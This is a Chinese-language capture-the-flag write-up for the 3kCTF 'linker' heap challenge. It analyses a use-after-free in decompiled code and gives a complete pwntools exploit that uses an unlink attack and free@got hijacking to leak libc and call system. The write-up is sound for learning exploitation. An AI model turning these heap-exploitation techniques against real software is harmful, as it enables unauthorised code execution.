3kCTF_linker

0x00 文件信息

$ file linker
linker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d3da95d44b3a6fd21e32e74f782f1acb859e294d, not stripped

$ checksec linker
[*] '/mnt/hgfs/CTF/3kCTF/Pwn/linker/linker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目环境为 Ubuntu,所用 libc 为 GLIBC 2.27-3ubuntu1.2。

0x01 代码审计

程序主要有 3 个功能,分别是增删改。

增加功能

以 calloc 申请 chunk,并将 chunk 相关信息保存在 bss 段的数组中。(值得一提的是,以 calloc 申请内存,所得 chunk 不会来自 tcache bin。)

unsigned __int64 new_page()
{
  signed int i; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+13h] [rbp-Dh]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( number_pages <= 4 )
  {
    puts("Provide page size:");
    read(0, &buf, 4uLL);                        //  
    v2 = atoi(&buf);
    for ( i = 0; i <= 4; ++i )
    {
      if ( !check_pages[i] )                    // check
      {
        pages[i] = calloc(1uLL, v2);
        check_pages[i] = 1;
        page_size[i] = v2;
        printf("You got new page at index %d\n", (unsigned int)i);
        ++number_pages;
        return __readfsqword(0x28u) ^ v4;
      }
    }
  }
  else
  {
    puts("Too much pages it will be really heavy ");
  }
  return __readfsqword(0x28u) ^ v4;
}

删除功能

释放指定 chunk,容易看出存在 uaf 漏洞。

unsigned __int64 empty_page()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+13h] [rbp-Dh]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Provide page index:");
  read(0, &buf, 4uLL);                          //  
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 4 )
  {
    puts("Wrong index kiddo...");
  }
  else if ( check_pages[v1] )
  {
    free((void *)pages[v1]);                    // uaf
    check_pages[v1] = 0;
    --number_pages;
  }
  else
  {
    puts("Empty already...");
  }
  return __readfsqword(0x28u) ^ v3;
}

修改功能

修改 chunk 上的信息,可以看出这里设置的检查因为 uaf 漏洞的存在而没什么卵用。

unsigned __int64 edit_page()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+13h] [rbp-Dh]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Provide page index:");
  read(0, &buf, 4uLL);                          //  
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 4 )
  {
    puts("Wrong index kiddo...");
  }
  else if ( pages[v1] )                         // uaf bypass check
  {
    puts("Provide new page content:");
    read(0, (void *)pages[v1], (signed int)page_size[v1]);//  
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞分析

empty_page 函数中的 uaf 漏洞使得用户可以在 chunk 被释放的情况下修改 chunk 上的信息。

根据一般的解决思路,需要泄露 libc 地址。但程序中不存在 dump 函数能够泄露信息,所以只能自己设法造成泄露。考虑到 chunk 相关的信息都保存在 bss 段上,所以可以在 unlink 后劫持 got 表,将 free 函数化为 puts 函数,从而泄露 libc 地址。

之后的利用便是家常便饭了。

漏洞利用思路

  1. unlink 泄露 libc 地址
  2. 改 free@got 为 system 函数地址
  3. 释放写入 “cat flag;” 的 chunk,拿到 flag

0x02 具体利用

题目环境所使用的 libc 版本为 2.27,存在 tcache 机制。因此释放大小超过 0x408 的 chunk 后,该 chunk 会直接进入 unsorted bin。又因为 chunk size 比较大,属于 large chunk 范围,所以在利用 fake chunk 进行 unlink 时需要额外设置 fd_nextsize 为 Null。

## unlink
creat(0x420) # 0
creat(0x428) # 1
creat(0x420) # 2
creat(0x60) # 3
creat(0x60)
delete(0)
delete(1)

fake_chunk  = p64(0) + p64(0x421)
fake_chunk += p64(page_addr + 0x8 - 0x18) + p64(page_addr + 0x8 - 0x10)
fake_chunk += p64(0) + p64(0)
fake_chunk  = fake_chunk.ljust(0x420)
fake_chunk += p64(0x420)

modify(1, fake_chunk)
delete(2)

劫持 free@got 并泄露 puts 函数地址

修改布置 chunk 指针数组,泄露 libc 地址。

modify(1, 'a' * 0x10 + p64(elf.got['free']) + p64(elf.got['puts']) * 3)
modify(0, p64(elf.plt['puts'] + 6))
delete(3)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('puts_addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
success('libc_base: ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
success('system_addr: ' + hex(system_addr))

修改 free@got 为 system 函数地址

修改 free@got 为 system 函数地址,释放写入了 “cat flag;” 的 chunk,从而拿到 flag。

modify(0, p64(system_addr))
modify(4, 'cat flag;')
delete(4)
io.interactive()

0x03 完整 exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./linker')
libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

if args.G:
    io = remote('linker.3k.ctf.to', 9654)
else:
    io = process('./linker')

def creat_name(name):
    io.sendlineafter('Provide name size:', str(len(name)))
    io.sendafter('Provide a name:', name)

def creat(size):
    io.sendlineafter('>', '1')
    io.sendlineafter('Provide page size:', str(size))

def delete(index):
    io.sendlineafter('>', '3')
    io.sendlineafter('Provide page index:', str(index))

def modify(index, content):
    io.sendlineafter('>', '2')
    io.sendlineafter('Provide page index:', str(index))
    io.sendafter('Provide new page content:', content)

page_addr = 0x000000000602100

## unlink
creat_name('lukbash')
creat(0x420) # 0
creat(0x428) # 1
creat(0x420) # 2
creat(0x60) # 3
creat(0x60)
delete(0)
delete(1)
fake_chunk  = p64(0) + p64(0x421)
fake_chunk += p64(page_addr + 0x8 - 0x18) + p64(page_addr + 0x8 - 0x10)
fake_chunk += p64(0) + p64(0)
fake_chunk  = fake_chunk.ljust(0x420)
fake_chunk += p64(0x420)
modify(1, fake_chunk)
delete(2)

modify(1, 'a' * 0x10 + p64(elf.got['free']) + p64(elf.got['puts']) * 3)
modify(0, p64(elf.plt['puts'] + 6))
delete(3)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('puts_addr: ' + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
success('libc_base: ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
success('system_addr: ' + hex(system_addr))

modify(0, p64(system_addr))
modify(4, 'cat flag;')
delete(4)

io.interactive()

0x04 参考资料

2019-2020 @lukbash